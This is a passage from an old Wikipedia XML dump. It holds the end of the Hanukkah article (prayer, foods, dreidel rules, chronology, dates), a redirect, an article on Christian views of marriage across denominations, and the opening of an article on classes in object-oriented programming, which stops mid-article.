:''We thank You also for the miraculous deeds and for the redemption and for the mighty deeds and the saving acts wrought by You, as well as for the wars which You waged for our ancestors in ancient days at this season. In the days of the Hasmonean Mattathias, son of Johanan the high priest, and his sons, when the iniquitous Greco-Syrian kingdom rose up against Your people Israel, to make them forget Your Torah and to turn them away from the ordinances of Your will, then You in your abundant mercy rose up for them in the time of their trouble, pled their cause, executed judgment, avenged their wrong, and delivered the strong into the hands of the weak, the many into the hands of few, the impure into the hands of the pure, the wicked into the hands of the righteous, and insolent ones into the hands of those occupied with Your Torah. Both unto Yourself did you make a great and holy name in Thy world, and unto Your people did You achieve a great deliverance and redemption. Whereupon your children entered the sanctuary of Your house, cleansed Your temple, purified Your sanctuary, kindled lights in Your holy courts, and appointed these eight days of Hanukkah in order to give thanks and praises unto Your holy name.''

The same prayer is added to the grace after meals. In addition, the [[Hallel]] Psalms are sung during each morning service and the [[Tachanun]] penitential prayers are omitted. Since Hanukkah lasts eight days it includes at least one, and sometimes two, [[Shabbat|Sabbaths]]. The weekly [[Parsha|Torah portion]] for the first Sabbath is almost always ''[[Miketz]]'', telling of [[Joseph]]'s dream and his enslavement in [[Ancient Egypt|Egypt]].

==Traditional Hanukkah foods==
There is a custom to have Hanukkah parties and to eat foods fried or baked in oil, preferably [[olive oil]], as the original miracle of the Hanukkah menorah involved the discovery of the small flask of oil used by the Jewish High Priest (the [[Kohen]] Gadol). Many [[Ashkenazi]] families make [[potato pancakes]], known as [[latke]]s in [[Yiddish language|Yiddish]]. Many [[Sephardim]] as well as [[Polish Jews|Polish]] Ashkenazim and [[Israel]]is have the custom to eat all kinds of [[doughnut]]s ([[bimuelos]] or [[sufganiyot]]) which are [[Frying|deep-fried]] in [[kosher]] (mainly non animal-fat) oils.

==Hanukkah games: Dreidel and Gelt==
===Dreidel===
[[Image:HanukkahStamp.png|thumb|right|[[United States Postal Service|US]] [[Postage stamp|stamp]] honoring Hanukkah and showing a [[Top#Dreidel|dreidel]].]]

The ''dreidel'' (a four-sided &quot;top&quot;) is associated with Hanukkah. It has four sides: 
#&amp;#1504; ([[Nun (letter)|Nun]]), 
#&amp;#1490; ([[Gimel (letter)|Gimel]]), 
#&amp;#1492; ([[He (letter)|Hey]]), 
#&amp;#1513; ([[Shin (letter)|Shin]]) - In Israel פ ([[Pe (letter)|Pe]])

These letters also stand for the words ''Nes Gadol Haya Sham'' meaning &quot;a great miracle happened there,&quot; or, without the [[nikkud]] (vowel marks), &amp;#1504;&amp;#1505; &amp;#1490;&amp;#1491;&amp;#1493;&amp;#1500; &amp;#1492;&amp;#1497;&amp;#1492; &amp;#1513;&amp;#1501;. In Israel, the fourth letter is פ-Pe instead of shin, stading for &quot;Po&quot;, meaning &quot;here&quot;, and the entire phrase is therefore &quot;A great miracle happened here.&quot; This is done in recognition that the miracle of Hannukah occurred in the land of Israel. 

Before beginning, each player starts with 10 or 15 coins (''gelt''), and then each player puts one in the pot. The dreidel stops and lands with one of the symbols facing up and the appropriate action is taken, corresponding to one of the following [[Yiddish Language|Yiddish]] words:
*Nun - ''nisht'' - &quot;not&quot; - the next player spins
*Gimel - ''gants'' - &quot;all&quot; -  the player takes the entire pot
*Hey - ''halb'' - &quot;half&quot; - the player takes half of the pot, rounding up if there is an odd number
*Shin - ''shtel ayn'' - &quot;put in&quot; - the player puts one or two in the pot

Another version differs in that nun is &quot;nem&quot; - &quot;take&quot;, while gimel is &quot;gib&quot; - &quot;give.&quot; 
The game may last until one person has won everything.

The game is played in part to commemorate the jewish children of that time. The Greeks had made a law that the learning of Torah be forbidden. The jewish children would hide in caves, and leave a lookout for Greek soldiers. When a lookout gave a signal, the children would put away the scrolls they were learning from, and take out top's (Dreidel's) and spin them, as if they had been playing a game.

===Chanukkah Gelt===
''Chanukkah [[gelt]]'' (&quot;Hanukkah money&quot;) is used as part of a game on the festival of Hanukkah. It is a term used for the [[money]] used in playing the game of ''dreidel''. Traditionally, gelt came in the form of genuine coins, but most modern games are played using coins made of solid [[chocolate]] wrapped in gold-colored foil.

==Interaction with other traditions==
{{See also|Christian views of Hanukkah}}

Hanukkah gained increased importance with many Jewish families in the [[twentieth century]], including large numbers of [[secular Jews]] who wanted a Jewish alternative to the [[Christmas]] celebrations that often overlap with Hanukkah.

In recent years, an amalgam of Christmas and Hanukkah has emerged &amp;mdash; dubbed &quot;[[Chrismukkah]]&quot; &amp;mdash; celebrated by some [[Intermarriage|mixed-faith]] families, particularly in the United States. A decorated tree has come to be called a &quot;[[Hanukkah bush]]&quot;.

==Alternative spellings based on transliterating Hebrew letters==
As mentioned above, there is a frequent confusion over the many alternative spellings of Hanukkah in the English language. The only standard spelling of Hanukkah is the hebrew five letters - Chet(Ch,H,K) Nun Vav Kaf Hey - plus the vowels, which are not written in advanced Hebrew.  Thus, the most accurate transliteration to English is 'Ch(a)n(u)k(a)h'. But as 'ch' is pronounced differently in English than it is in the traditional Romanisation of Hebrew (which was based upon analogies to German and Latin spelling), and the 'kaf' consonant is part of a long syllable instead of a short one, &quot;Hanukkah&quot; (technically with a small dot under the first 'H,' to show it is pronounced like broad Latin and German 'ch') emerged as an alternative that is more pronounceable to the Anglophone eye.
[[Image:Hannukah.JPG|150px|right|thumb|spelling variations are due to transliteration of Hebrew Chet Nun Vav Kaf Hey]]

* Hanukkah (most common in the United States)
* Chanukah (common alternative in the United States)
* Hanukah (less common alternative in the United States)
* Chanuka  (rare spelling; in Hebrew, dropping the final 'h' would change the gender of the word)
* Chanukkah
* Hanuka  (rare spelling; again, the gender would be masculine instead of feminine, in Hebrew)
* Channukah
* Hanukka  (rare spelling)
* Khanike ([[YIVO]] standard [[transliteration]] from the Yiddish and/or Ashkenazic [[pronunciation]] of the Hebrew)
* Jenok (rare)

== Background ==
===Chronology===
*[[198 BCE]]:  Armies of the Seleucid King [[Antiochus III]] (Antiochus the Great) oust [[Ptolemy V Epiphanes|Ptolemy V]] from Judea and Samaria.
*[[175 BCE]]:  [[Antiochus IV]] (Epiphanes) ascends the Seleucid throne.
*[[168 BCE]]:  Under the reign of Antiochus IV, the Temple is looted, Jews are massacred, and [[Judaism]] is outlawed.
*[[167 BCE]]: Antiochus orders an altar to [[Zeus]] erected in the Temple. Mattathias, and his five sons John, Simon, Eleazar, Jonathan, and Judah lead a rebellion against Antiochus. Judah becomes known as Judah Maccabe (Judah The Hammer).
*[[166 BCE]]: Mattathias dies, and Judah takes his place as leader. The [[Hasmonean]] Jewish Kingdom begins; It lasts until [[63 BCE]]
*[[165 BCE]]: The Jewish revolt against the [[Seleucid]] monarchy is successful. The Temple is liberated and rededicated (Hanukkah).
*[[142 BCE]]: Establishment of the Second Jewish Commonwealth. The Seleucids recognize Jewish autonomy. The Seleucid kings have a formal overlordship, which the Hasmoneans acknowledged.  This inaugurates a period of great geographical expansion, population growth, and religious, cultural and social development. 
*[[139 BCE]]: The [[Roman Senate]] recognizes Jewish autonomy.
*[[130 BCE]]: Antiochus VII besieges [[Jerusalem]], but withdraws. 
*[[131 BCE]]: Antiochus VII dies. Israel throws off Syrian rule completely 
*[[96 BCE]]:  An eight year civil war begins.
*[[83 BCE]]:  Consolidation of the Kingdom in territory east of the [[Jordan River]].
*[[63 BCE]]: The Hasmonean Jewish Kingdom comes to an end due to rivalry between the brothers Aristobulus II and Hyrcanus II, both of whom appeal to the [[Roman Republic]] to intervene and settle the power struggle on their behalf.  The Roman general [[Gnaeus Pompeius Magnus]] (Pompey the Great) is dispatched to the area. Twelve thousand Jews are massacred as Romans enter Jerusalem. The Priests of the Temple are struck down at the Altar. Rome annexes Judea.

===Battles of the Maccabean revolt===
{{main|Maccabees}}
There were a number of key battles between the Maccabees and the Seleucid Syrian-Greeks:

*[[Battle of Adasa]] ([[Judas Maccabeus]] leads the Jews to victory against the forces of Nicanor.)
*[[Battle of Beth Horon]] (Judas Maccabeus defeats the forces of [[Seron (seleucid)|Seron]].)
*[[Battle of Beth Zur]] (Judas Maccabeus defeats the army of [[Lysias (Syrian chancellor)|Lysias]], recapturing Jerusalem.)
*[[Battle of Beth-zechariah]] (Elazar the Maccabee is killed in battle. Lysias has success in battle against the Maccabess, but allows them temporary freedom of worship.)
*[[Battle of Emmaus]] (Judas Maccabeus fights the forces of [[Lysias (Syrian chancellor)|Lysias]] and [[Gorgias (Syrian general)|Georgias]]).
*[[Dathema]] (A Jewish fortress saved by Judas Maccabeus.)
*[[Battle of Elasa]] (Judas Maccabeus dies in battle against the army of [[Demetrius I Soter|King Demetrius]] and [[Bacchides]]. He is succeeded by [[Jonathan Maccabaeus]] and [[Simon Maccabaeus]] who continue to lead the Jews in battle.)

==When Hanukkah occurs==
{{further|[[Jewish holidays 2000-2050]]}}

The dates of Hanukkah are determined by the [[Hebrew Calendar]]. Hanukkah begins at the 25th day of [[Kislev]] and concluding on the 2nd or 3rd day of [[Tevet]] (Kislev can have 29 or 30 days).  The Jewish day begins at sunset, whereas the [[Gregorian Calendar]] begins the day at midnight.  So, the first day of Hanukkah actually begins at sunset of the day immediately before the date noted on Gregorian calendars.  

For example, in 2006 Gregorian calendars will likely list Hanukkah on Saturday, [[December 16]], but 25 Kislev actually begins at sunset on [[December 15]] and so the first candle will be lit on that Friday evening, shortly before sunset since it is also the start of [[Shabbat]]. Two candles will be lit on Saturday night after dark and the end of Shabbat. Three candles will be lit after dark on Sunday, and so on for the rest of the week, except for the following Friday, December 22, when the last 8 candles are lit, again shortly before sunset. The holiday will end after sundown on December 23.

===Hanukkah's dates in the Gregorian calendar===
Hanukkah begins at sundown on the evening before the date shown.
{|
|-
|
*[[December 3]], [[1980]]
*[[December 21]], [[1981]]
*[[December 11]], [[1982]]
*[[December 1]], [[1983]]
*[[December 19]], [[1984]]
*[[December 8]], [[1985]]
*[[December 27]], [[1986]]
*[[December 16]], [[1987]]
*[[December 4]], [[1988]]
*[[December 23]], [[1989]]
|| 
*[[December 12]], [[1990]]
*[[December 2]], [[1991]]
*[[December 20]], [[1992]]
*[[December 9]], [[1993]]
*[[November 28]], [[1994]]
*[[December 18]], [[1995]] 
*[[December 6]], [[1996]]
*[[December 24]], [[1997]]
*[[December 14]], [[1998]]
*[[December 4]], [[1999]]
||
*[[December 22]], [[2000]]
*[[December 10]], [[2001]]
*[[November 30]], [[2002]]
*[[December 20]], [[2003]]
*[[December 8]], [[2004]]
*'''[[December 26]], [[2005]]'''
*[[December 16]], [[2006]]
*[[December 5]], [[2007]]
*[[December 22]], [[2008]]
*[[December 12]], [[2009]]
||
*[[December 2]], [[2010]]
*[[December 21]], [[2011]]
*[[December 9]], [[2012]]
*[[November 28]], [[2013]]
*[[December 17]], [[2014]]
*[[December 7]], [[2015]]
*[[December 25]], [[2016]]
*[[December 13]], [[2017]]
*[[December 3]], [[2018]]
*[[December 23]], [[2019]]
|}

==See also== 
*[[Hasmonean]]
*[[Maccabees]]
*[[Jewish holiday]]s
*[[Temple in Jerusalem]]
*[[County of Allegheny v. ACLU]] on the constitutionality of Hanukkah displays on public property in the U.S.
*[[Hanukkah Harry]]
*[[Hanukkah Bush]]

==References==
# {{note|shabbat21b}} The [[Gemara]], [http://www.sacred-texts.com/jud/t01/t0110.htm tractate ''Shabbat 21b'']. The discussion focuses on [[Shabbat]] candles and moves to Hanukkah candles.

==External links==
{{commonscat|Hanukkah}}
* [http://liturgy.exc.com/Songsheets/Hanukah.cgi Hanukkah songsheets]
* [http://www.aish.com/holidays/chanukah/ Chanukah - Aish.com - how to light, stories, children's activities]
* [http://www.torah.org/learning/yomtov/chanukah/5755/vol1no59.html Hannuka - A Spiritual Holiday - Torah.org]
* [http://www.jewfaq.org/holiday7.htm Chanukkah - Judaism 101 with links to tunes, recipes, and a virtual ''dreidel'' game for two]
* [http://www.tikkun.org/rabbi_lerner/chanukah Another Miracle of Chanukah] Chanukah and Idealistic Non-Conformity on *[http://www.tikkun.org Tikkun]
* [http://www.chabad.org/holidays/chanukah/default.asp Virtual Hanukkah - chabad.org]
* [http://www.chabad.org/holidays/chanukah/article.asp?AID=102819 Chanukah recipes - chabad.org]
* [http://www.613.org/chanuka.html Chanuka classes and songs of 613.org Torah audio]
* [http://www.guardian.co.uk/flash/0,5860,1673570,00.html  A short interactive guide]
* [http://www.midrash.org/halakha/hanukkah.html Midrash Hanukkah with Sepharidic traditions and history]
* [http://www.newadvent.org/cathen/04673b.htm Feast of Dedication] - Article in the Catholic Encyclopedia
* [http://www.geocities.com/justdreidels/index.html Just Dreidels a site centered around the dreidel]
{{jewishHolidays}}

[[Category:Religious festivals]]
[[Category:Jewish holy days]]
[[Category:Tabernacle and Jerusalem Temples]]
[[Category:Winter holidays]]

[[de:Chanukka]]
[[eo:Ĥanuka]]
[[es:Jánuca]]
[[fr:Hanoucca]]
[[he:חנוכה]]
[[hu:Hanuka]]
[[it:Chanukah]]
[[ja:ハヌカー]]
[[la:Encaenia]]
[[nl:Chanoeka]]
[[nn:Hanukká]]
[[pl:Chanuka]]
[[pt:Chanucá]]
[[sv:Chanukka]]
[[yi:חנוכה]]</text>
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    <title>Hanukkah rituals</title>
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      <comment>restore redirect. Everything that was here is now in the main article [[Hanukkah]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hanukkah]]</text>
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  <page>
    <title>Christian view of marriage</title>
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      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Husband</comment>
      <text xml:space="preserve">The '''Christian view of [[marriage]]''', until recently, according to a nearly universal consensus, has regarded marriage as ordained by God for the lifelong union of a man and a woman. Since the rise of the [[sexual revolution]], such views have gained ground among Christians. Marriage between two persons of the same gender, or divorce through mutual consent are both new views brought on by the sexual revolution. These views, though now popular in the modern day, are conflicting and contradicting to orthodox Christian beliefs.

Proponents of  the traditional view principally support it with the second chapter of the book of [[Genesis]].  The [[Gospel of Matthew]], for example, cites Genesis 2:24, for example:

:''&quot;...For this reason a man shall leave his father and mother and be joined to his wife, and the two shall become one flesh. So then, they are no longer two but one flesh. Therefore what God has joined together, let not man separate.&quot;'' '''Matthew 19: 5-6'''

Virtually all Christian denominations frown on [[divorce]], although some more harshly than others.  

Christian marriage is seen by [[Paul of Tarsus|Saint Paul]] (especially [[Ephesians]] chapter 5) as paralleling the relationship between Christ and the Church, a theological view which is a development of the [[Old Testament]] view that saw a parallel between marriage and the relationship between God and Israel.

All major Christian groups take marriage to be a good thing.  In 1 Timothy, Chapter 4, St. Paul talks of heretics who, among other things, &quot;forbid marriage&quot; and he describes their views as &quot;doctrines of demons&quot;.  At the same time, even though marriage is believed to be a good thing, [[Catholicism]] and [[Eastern Orthodoxy]] traditionally see an even greater value in celibacy when that celibacy is undertaken for the sake of a more singleminded devotion to God, but do not believe that everyone is called by God to this.

== View of Roman Catholic Christians ==
In Roman [[Catholicism]], marriage is one of the seven [[Catholic sacraments|sacraments]]. According to the [[Catholic Catechism|Catechism of the Catholic Church]],
Second Edition, Paragraph 1623, &quot;the spouses as ministers of Christ's grace mutually confer upon each other the sacrament of Matrimony by expressing their consent before the Church&quot;. An argument for the institution of the sacrament of Matrimony by Christ himself, and its occasion, is advanced by Bernard Orchard in his article ''The Betrothal and Marriage of Mary to Joseph'' [http://uk.geocities.com/ducatumevangelii@btinternet.com/Maryandjoseph1a.htm]. In the [[Eastern Rite]] (i.e. non-[[Latin rite]] churches in full communion with Rome), &quot;the priests (bishops or presbyters) are witnesses to the mutual consent given by the spouses, but for the validity of the sacrament their blessing is also necessary&quot;.

Marriage forms the foundation of the [[family]], the fundamental unit of the referring community (ordinarily the [[parish]]). The ideal references are found in the [[Holy Family]] ([[Mary, the mother of Jesus]], and [[Saint Joseph]], his father). See related articles of Canon law: [http://www.mercaba.org/Codigo/1917_1012-1160.htm] ([[Latin]]). 

The primary purpose of marriage is to fulfill a vocation in the nature of man and woman, for the procreation and education of children, and to stand as a symbol of the mystical union between Christ and his Church. [http://www.christusrex.org/www1/CDHN/matri.html#MATRIMONY] The secondary aim is the mutual reciprocal help and it is also a &quot;remedy to concupiscence&quot;. Fecundity is a good, a gift and an end of marriage. By giving life, spouses participate in God's fatherhood. Carnal union is morally legitimate only when a definitive community of life between a man and woman has been established. Human love does not tolerate &quot;trial marriages&quot;. It demands a total and definitive gift of persons to one another.

If the couple cohabit, the marriage is presumed ''consummatum'', unless a proof of the contrary is produced.

Traditionally, sexual intercourse was termed the marriage debt. This refers to the idea that marriage is a contract where each party assumes total control of the other's body. At almost any time, within reason, a partner's asking for the fulfilment of that debt had to be satisfied. Like any repayment of a debt, when done with the right intention and circumstances sexual intercourse is a meritorious act, gaining graces for the participants. In modern times, however, the church has taught a far less severe view of obligatory fulfillment, where it is understood that both spouses intend, by accepting the sacrament of marriage, to fulfill the reproductive moral mandate at some point in their marriage, but not on the demand or whim of one spouse, nor under any circumstance should a spouse ever be forced to comply against their will (rape), even if failure to do so led to never having children/lack of fulfillment. 


=== Other issues ===
One issue is marriages with one of spouses belonging to a non-Christian religion (called the impediment &quot;disparity of cult&quot; - Catechism of the Catholic Church 1633): these marriages are not sacraments, since the letter of Canon law expressly defines the marriage as a &quot;covenant&quot; between baptized spouses. Still, a marriage between non-baptized spouses is called ''legitimum'' when validly celebrated, but it is really not encouraged.

Polygamy is described as &quot;not in accord with the moral law&quot;. Conjugal communion is radically contradicted by polygamy; this, in fact, directly negates the plan of God which was revealed from the beginning, because it is contrary to the equal personal dignity of men and women who in matrimony give themselves with a love that is total and therefore unique and exclusive.&quot; Roman Catholic teaching holds that even the Patriarchs were breaking the natural law with their polygamy, although God created an exception for them.

[http://www.saveoursacrament.org/home.html Information on Roman Catholic annullments] - 
[http://www.dsj.org/tribunal/annulment.htm Diocese of San Jose Annulment Tribunal] - 
[http://www.sdnewsnotes.com/ed/articles/1998/0698tb.htm Catholic divorce] - [http://www.familyland.org/ Catholic Familyland] - In Vatican website,  [[catechism]] contents about [http://www.vatican.va/archive/catechism/subject_index/subject-index-cat_marriage_en.html marriage] and [http://www.vatican.va/archive/catechism/subject_index/subject-index-cat_divorce_en.html divorce]

* [http://www.newadvent.org/cathen/07695a.htm Canonical Impediments] - From the Catholic Encyclopedia

== View of Orthodox Christians ==
In [[Eastern Orthodoxy]], marriage is also treated as a sacrament, and as an ordination, and (like all ordinations) like a martyrdom, as each spouse learns to die to himself or herself for the sake of the other. Like all ordinations, it is viewed as revealing and sealing the relationship that has formed between the couple. In addition, marriage is an icon or image of the relationship between [[Jesus]] and the Church. This is somewhat akin to the [[Old Testament]] prophets' use of marriage as an analogy to describe the relationship between God and Israel. Divorce is discouraged, but allowed, in some cases to acknowledge that the relationship no longer exists. A lay member may obtain permission to remarry under the counsel of a priest, but the ceremony and prayers would be different, less joyful and more sober and sombre.

A married man may be ordained as a priest or deacon.  However,
a priest or deacon is not permitted to enter into matrimony after ordination, whether he has become divorced or widowed, or even if he had not been married at the time of ordination.  Bishops are always celibate. 

Overall, there is a far less legislative approach regarding married life than in Roman Catholicism.

Orthodox Christians are......

== View of [[Protestantism|Protestant]] Christians ==
Protestant denominations tend to have their own individually applicable doctrines, which represent only the churches in communion with one another.  However, some beliefs are typical of almost all Protestants.  And, there are intra-denominational and cross-denominational movements, within which the beliefs and practices of adherents are more narrowly defined.

Protestants typically acknowledge a difference between the sacraments of ([[Baptism]] and [[Eucharist|Communion]]), and all other ordinances of God by which the favor of God is shown to men. Almost all Protestant denominations hold marriage to be ordained by God for the union between a man and a woman, based on the passage from Matthew above. Most of them also hold that the primary purpose of this union is to glorify God by demonstrating his love to the world; other purposes of marriage include the raising of children and bringing help to enable both husband and wife to fulfill their life callings. Most Protestants are less likely to hold a negative view of [[birth control]] and many see sexual pleasure within marriage as a gift of God.

See also:
* [[Baptist]]
* [[Methodist]]
* [[Assembly of God]]
* [[Presbyterian]]

=== [[Evangelicalism|Evangelical]] [[Protestantism|Protestant]] View ===

In addition to the limitations on who may marry (discussed above), evangelicals take a strict view of the nature of [[marriage]]. For evangelicals, marriage is the only appropriate channel for sexual expression and [[divorce]] is permissible, if at all, only in very specific circumstances such as infidelity. Marriage is seen as a solemn covenant between the couple and [[God]]. The man is seen as the head of the household and his wife is expected to submit to him. However, there are two views within evangelicalism of how this should work out in practice:

* The traditionalist or complementarian view sees the husband as having loving authority over the wife as the servant-leader of the household. The wife's role is to cheerfully submit to this authority where it does not conflict with her conscience or with biblical teaching.

* The egalitarian view sees the husband's headship as meaning he is the source who works to ensure his wife's growth and development as a person. The wife's submission is seen in the context of Paul's injunction (in Ephesians 5:21) for all Christians to submit to one another.

Proponents of both views emphasise that headship and submission are worked out in the context that a husband is expected to protect and care for his wife and put her needs before his own. These principles reflect the concept that Christ is the head of the Church, or those who call themselves His followers, and loves her even to the point of dying for her.

=== [[Liberal Christianity|Liberal Christian]] [[Protestantism|Protestant]] View ===

[[Liberal Christianity|Liberal christians]], almost by definition, give a great deal of consideration to cultural norms. In the [[Western world]], the primary place where liberal Protestantism is found, pre-marital sex, [[same-sex marriage]] (and to some extent [[homosexuality]] in general) and [[divorce]] are increasingly becoming the norm and so liberal Protestants have become increasingly accepting of these practices. While liberals view divorce as regrettable, they generally do not believe it to be sinful. Likewise, pre-marital sex may be considered to be unwise, but since it is not unusual it is often considered to be acceptable. Since the rise of [[feminism]] liberals also generally reject any claim of male headship and see the [[Marriage|husband]] and [[wife]] as an equal team.

== View of non-Protestant, non-Catholic Christians ==

In [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (&quot;LDS Church&quot;; see also [[Mormon]]), &quot;[[Eternal Marriage]]&quot; is a sacred covenant between a man, a woman and God performed by a [[priesthood (Mormonism)|priesthood]] authority in the [[Temple (Mormonism)|temples]] of the Church. Eternal Marriage is legally recognized, but unlike other civil marriages, Eternal Marriage is intended to continue into the [[afterlife]] after the [[resurrection]] if the man and woman do not break their covenants. Eternally married couples are often referred to as being &quot;[[sealing (Mormonism)|sealed]]&quot; to each other. Sealed couples who keep their covenants are also promised to have their posterity sealed to them in the after life. Thus, the  slogan of the LDS Church: &quot;families are forever&quot;. The LDS Church encourages its members to be in good standing with it so that they may marry in the temple. &quot;Cancellation of a sealing&quot;, sometimes incorrectly called a &quot;temple divorce&quot;, is uncommon and is granted only by the highest authority in the Church. Civil divorce and marriage outside the temple is somewhat of a stigma in the [[Latter-day Saint]] culture although currently the Church itself directs its local leaders not to advise members about divorce one way or another.

In the [[New Church]] (or [[Swedenborgianism]]), marriage is considered a sacred covenant between one man, one woman and the [[Lord]]. The doctrine of the New Church teaches that married love (sometime translated ''[[conjugal love]]'') is &quot;the precious jewel of human life and the repository of the Christian religion&quot; because the love shared between a husband and a wife is the source of all peace and joy ([http://www.theheavenlydoctrines.org/static/d6295/457.htm see ''Married Love'' 457]). Marriage is also meant to be eternal and divorce is only allowable when the spiritual union is broken by adultery. When a husband and wife work together to become [[angels]] in [[heaven]], their marriage continues uninterrupted even after the death of their bodies, living together in heaven to eternity. [[Emanuel Swedenborg]] spoke to [[angels]] who had been married for thousands of years. Those who are never married on earth will find a spouse in heaven. &lt;!--please insert other denominational views here--&gt;

==See also==
[http://www.nd.edu/~theo/research/jhy_2/writings/mardiv%26sex/oneflesh.htm An essay on the Christian view of the meaning and permanence of Marriage].
&lt;br&gt;[[Religious aspects of marriage]] (for all religions).

[[Category:Christian liturgy, rites, and worship services|Marriage, Christian view of]] 
[[Category:Christian viewpoints]]
[[Category:Marriage and religion]]
[[Category:Catholic marriage]]

[[eo:Nupto]]

==External links==
* [http://www.catholic.net/rcc/Periodicals/Homiletic/2001-10/orchard.html Bernard Orchard, ''The Betrothal and Marriage of Mary to Joseph'', Part 1;]   [http://www.catholic.net/rcc/Periodicals/Homiletic/2001-11/orchard.html Part 2]
* [http://uk.geocities.com/ducatumevangelii@btinternet.com/Maryandjoseph1a.htm Bernard Orchard, Summary of ''The Betrothal and Marriage of Mary to Joseph'' and chronological chart]
*[http://www.annulmentfaq.com www.annulmentfaq.com – Annulment guide (Catholic Annulments)]</text>
    </revision>
  </page>
  <page>
    <title>Class (computer science)</title>
    <id>7392</id>
    <revision>
      <id>42033027</id>
      <timestamp>2006-03-03T09:39:08Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/61.95.208.194|61.95.208.194]] ([[User talk:61.95.208.194|talk]]) to last version by Yms</comment>
      <text xml:space="preserve">In [[object-oriented programming]], '''classes''' are used to group related variables and functions. A class describes a collection of [[Information hiding|encapsulated]] [[instance variable]]s and [[Method (object-oriented programming)|method]]s (functions), possibly with implementation of those types together with a constructor function that can be used to create objects of the class.

A class is a [[cohesion|cohesive]] package that consists of a particular kind of compile-time [[metadata]].  It describes the rules by which [[Object (object-oriented programming)|objects]] behave; these objects are referred to as &quot;[[instance]]s&quot; of that class. A class specifies the structure of data which each instance contains as well as the [[Method (computer science)|methods]] ([[Function (computer science)|functions]]) which manipulate the data of the object and perform tasks; such methods are sometimes described as &quot;[[behavior]]&quot;. A method is a function with a special property that it has access to data stored in an object. A class is the most specific [[datatype|type]] of an object in relation to a specific [[layer]]. A class may also have a representation ([[metaobject]]) at run-time, which provides run-time support for manipulating the class-related [[metadata]].

Instances of a class will have certain aspects (aka: features, attributes or properties) in common. A class [[Person]] for example would describe the properties common to all instances of the Person class. One of the benefits of programming with classes is that all instances of a particular class will follow the defined behaviour of the class they instantiate.  Each person is generally alike; but varies in such properties as &quot;height&quot; and &quot;weight&quot;. The class would list types of such instance variables; and also define, via methods, the [[action (philosophy)|action]]s which humans can perform: &quot;run&quot;, &quot;jump&quot;, &quot;sleep&quot;, &quot;throw object&quot;,  etc.

== Interfaces ==
A class can &quot;implement&quot; (or &quot;realize&quot;) multiple [[interface (computer science)|interface]]s, each of which specify one or more abstract method signatures (name and type of the method and its parameters) which must be defined (overridden) in that class.

Unlike [[multiple inheritance]] where actual code is inherited (along with naming and logical conflicts) interfacing allows to define a behaviour-interface (methods) all implementing classes should be able to fulfill. Partial implementations of interfaces are not allowed, that is, every specified method has to have an implementation. However some languages do not require that every parameter combination needs to be supported.

Each interface of the class is associated with a type of [[object reference]]s referring to the interface, through which methods of objects can be invoked. Each reference points to a single instance of the class.
Each reference has a [[lifetime]], which specifies how long the reference can be used, usually bound to the time when some specific operations are invoked via the interface. It is assumed that there is a mechanism for accessing the object with a valid object reference. However, while the object reference is a reference to a specific location at any one time, over time the same object can be located at different places.

The [[object-oriented programming]] methodology is designed in such a way that the operations of any interface of a class are usually chosen to be independent of each other. This means that an interface places no requirements for clients to invoke the operations of one interface in any particular order. This approach has the benefit that client code can rely that the operations of an interface are available for use whenever the client holds a valid reference to the object. This will also result in a [[client-server]] (or layered) design where servers do not depend in any
way on the clients.

The methods that are not in any of the interfaces of a class are private to the class, and not intended to be depended on by other classes.

The &quot;set of all interfaces of a class&quot; is sometimes called the interface of the class.

The internal data structures defined as part of a class are not considered to be part of its interface. Rather, public ''accessor'' methods can be used to inspect or alter object data. The various [[object-oriented]] programming languages enforce this to various degrees. For example, [[Java programming language|Java]] does not allow the programmer to access the private data of a class at all, whereas in languages like [[Objective-C]] or [[Perl]] the programmer can do what they want. In [[C++]], private methods are visible but not accessible in the interface; however they are commonly made invisible by explicitly declaring fully abstract classes that represent the interfaces of the class.

== Structure of a class ==
[[Image:oop-uml-class-example.png|frame|right|UML notation for classes]]

A class contains a description of structure of data (&quot;[[state (object-oriented programming)|state]]&quot;) stored in the objects of the class. The state of an object is stored in some resource, such as memory or a file. The storage is assumed to be located in a specific location, such that it is possible to access the object via [[reference (computer science)|reference]]s to the [[identity (object-oriented programming)|identity]] of the objects. However, the actual storage location associated with an object may change with time. In such situations, the identity of the object does not change. The state is encapsulated and every access to the state occurs via methods of the class. Specific data items in the state, such as xsize and ysize in the example, are sometimes called class attributes or class properties.

A class implements its interfaces by specifying methods that describe what operations can be performed on the data stored in the objects of the class. Each  method specifies only tasks that are related to the stored data. [[Multimethod]]s can be used when a single task requires access to many objects' data.

A class also describes a set of [[invariant (computer science)|invariant]]s that are preserved by every method in the class. An invariant is a constraint on the state of an object that should be satisfied by every object of the class. The main purpose of the invariants is to establish what objects belong to the class. An invariant is what distinguishes [[datatype]]s and classes from each other, that is, a class does not allow use of all possible values for the state of the object, only those that are well-defined by the semantics of the intended use of the datatype. The set of supported methods often implicitly establishes an invariant. Some programming languages support specification of invariants as part of the definition of the class, and enforce them via the type system. Encapsulation of state is necessary for being able to enforce the invariants of the class.

An implementation of a class specifies [[constructor]] and [[destructor]] functions that allow creation and destruction of objects of the class. A constructor that takes arguments can be used to create an object from [[data]]. A destructor that returns a value can be used to obtain a [[representation]] of an object of a class. The main purpose of a constructor is to establish the invariant of the class, failing if the invariant isn't valid.  The main purpose of a destructor is to destroy the identity of the object, invalidating any references in the process. Constructors and destructors are also sometimes used to reserve and release resources associated with the object.

A class can also implement a set of auxiliary [[function (programming)|functions]], sometimes called class functions or static methods. Static methods are often used to find, create or destroy objects of the class. Constructors and destructors are sometimes specified as static methods. Often, mechanisms for sending an object to another location or changing the class of an object are specified as static methods.

The class members can be designated as ''public'', ''private'' or ''protected''. Public [[access specifier]] means that all clients can access the member by its name. Private access specifier restricts the access to the class itself. Protected access specifier allows the class itself and all its subclasses to access the member. In addition, some languages, such as C++, support a mechanism where a function explicitly declared as ''friend'' of the class may access the members designated as private or protected. Access specifiers do not control visibility, in that even private members may be visible to client code. An inaccessible but visible member may be referred to at run-time (e.g. pointer to it can be returned from member functions), but all attempts to use it by referring to the name of the member from client code will be prevented by the type checker. Object-oriented design uses the access specifiers in conjunction with careful design of public method implementations to enforce class invariants. Access specifiers are intended to protect against accidental use of members by clients, but are not suitable for run-time protection of object's data. [http://www.open-std.org/jtc1/sc22/wg21/]

==Associations between classes==
